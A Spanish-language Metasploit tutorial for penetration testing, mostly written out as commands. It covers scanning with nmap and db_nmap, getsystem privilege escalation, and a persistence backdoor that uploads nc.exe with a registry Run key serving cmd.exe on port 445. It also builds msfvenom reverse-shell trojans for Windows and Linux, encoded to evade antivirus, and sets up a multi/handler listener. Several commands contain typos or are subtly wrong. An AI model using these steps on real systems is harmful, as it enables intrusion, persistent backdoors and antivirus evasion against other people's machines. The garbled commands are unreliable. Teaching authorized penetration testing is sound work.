Metasploit http://www.metasploit.com/ es un software para hacer pruebas de penetración. Dispone de un conjunto de herramientas que permite realizar todas las fases de un test de intrusión.
Una vez instalado, o si hemos usando una distribución de seguridad como Kali Linux, lo primero que tenemos que hacer es arrancar los servicios necesarios para el correcto funcionamiento del Metasploit Framework.
En especial debemos arrancar las bases de de datos (msdb y postgresql)
systemctml start postgresql msfdb initiniciamos el metasploit
msfconsole
con el comando db_status para comprobar que se ha conectado correctamente a las bases de datos
Un exploit es una vulnerabilidad.
Para ver los exploits
show exploits
Los payloads son cargas útiles de código las cuales ejecutan en la vulnerabilidad algun tipo de acción, ya sea la obtención de una Shell y tomar el control del sistema afectado o provocar un desbordamiento o saturación del sistema
Para ver los payloads
show payloads
Tipos de payloads:
Es el payload propio de Metsploit.
Los encoder cifran nuestros payloads o exploits.
Para ver los encoders
search encoder
Para ver el número total de cada uno
banner
Metasploit tiene varios escaneres integrados, podemos ver los que tiene integrados ejecutando
seach portscanPor ejemplo podemos usar nmap para escanear un equipo
nmap -ss -Pn xxx.xxx.xxx.xxx
también podemos usar db_nmap en especial si queremos manipular los resultados que nos muestre el nmap.
db_nmap -sS -Pn xxx.xxx.xxx.xxx
Podemos usar metasploit para hacer un escaneo de máquinas vulnerables . Para ello ponemos la opción –script vuln a nuestro db_nmap
db_nmap -sS -Pn --script vuln xxx.xxx.xxx.xxx
También podemos hacer uso de otros escaner específicos, con el comando use y el escaner a utilizar Por ejemplo
use auxiliary/gather/joomla_weblinks_sqli
Necesitamos cargar el módulo priv
use privpara hacernos con privilegios del sistema
getsystem
Una vez obtenido el control, tenemos que realizar acciones que nos permitan mantener dicho control en el tiempo.
Un ejemplo para mantener el control en una máquina windows sería:
upload nc.exe c:\windows\system32
reg setval -k HKLM\\software\\microsoft\\windows\currentversion\\run -v nc -d 'c:\windows\system32\nc.exe -Ldp445 -e cmd.exe
A veces necesitamos cargar un módulo manualmente que no se ha descargado automáticamente. Por ejemplo, vamos a si algún equipo de nuestra red es vulnerable al ransomware wannacry y para ello vamos a descargar el módulo correspondiente.
Para ello primeros buscamos si existe dicho módulo, en este caso particular se encuentra en https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010.
En la página podemos ver el nombre del módulo y donde debe de ir ubicado→auxiliary/scanner/smb/smb_ms17_010 .
Bajamos hasta el enlace al Source Code que nos llevará a la página https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb
Pulsamos en el botón para verlo el código en formato raw y copiamos la url de la página resultante.
Ahora vamos a nuestra consola de la máquina donde tenemos instalado metasploit y nos situamos en el directorio cd /usr/share/metasploit-framework/modules/auxiliary/scanner/smb
una vez en dicho directorio ejecutamos wget y pegamos la url anterior
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb
Ahora ejecutamos msfconsole y cargamos nuestro módulo
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.1.1 runy nos indicará si el host indicado es vulnerable
Metasploit tienen una herramienta para generar payload MSFvenom . con la cual podremos generar nuestro Payload, específicamente para nuestro objetivo, además de que podremos exportar a un ejecutable y cifrarlo con cualquiera de los encoders, de forma que se pueda ejecutar en el destino sin necesidad del Metasploit Por ejemplo
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=puerto -f exe > shell.exe
Si queremos cifrarlo con un encoder para evitar por ejemplo un antivirus
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=puerto -f exe -e x86/shikata_ga_nai > shell.exe
si ponemos como opción la i y el numero de veces que queremos que lo cifre
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=puerto -f exe -e -i 2 x86/shikata_ga_nai > shell.exe
Por ejemplo para crear un troyano para linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=puerto -e x86/shikata_ga_nai -f elf > shell.elfPara recibir la shell inversa desde el objetivo deberíamos ejecutar en el equipo receptor de la conexión el exploit multi handler
use exploit/multi/handlery con option poner las mismas configuraciones que usamos para el troyano
set lhost xxx.xxx.xxx.xxx set lport puerto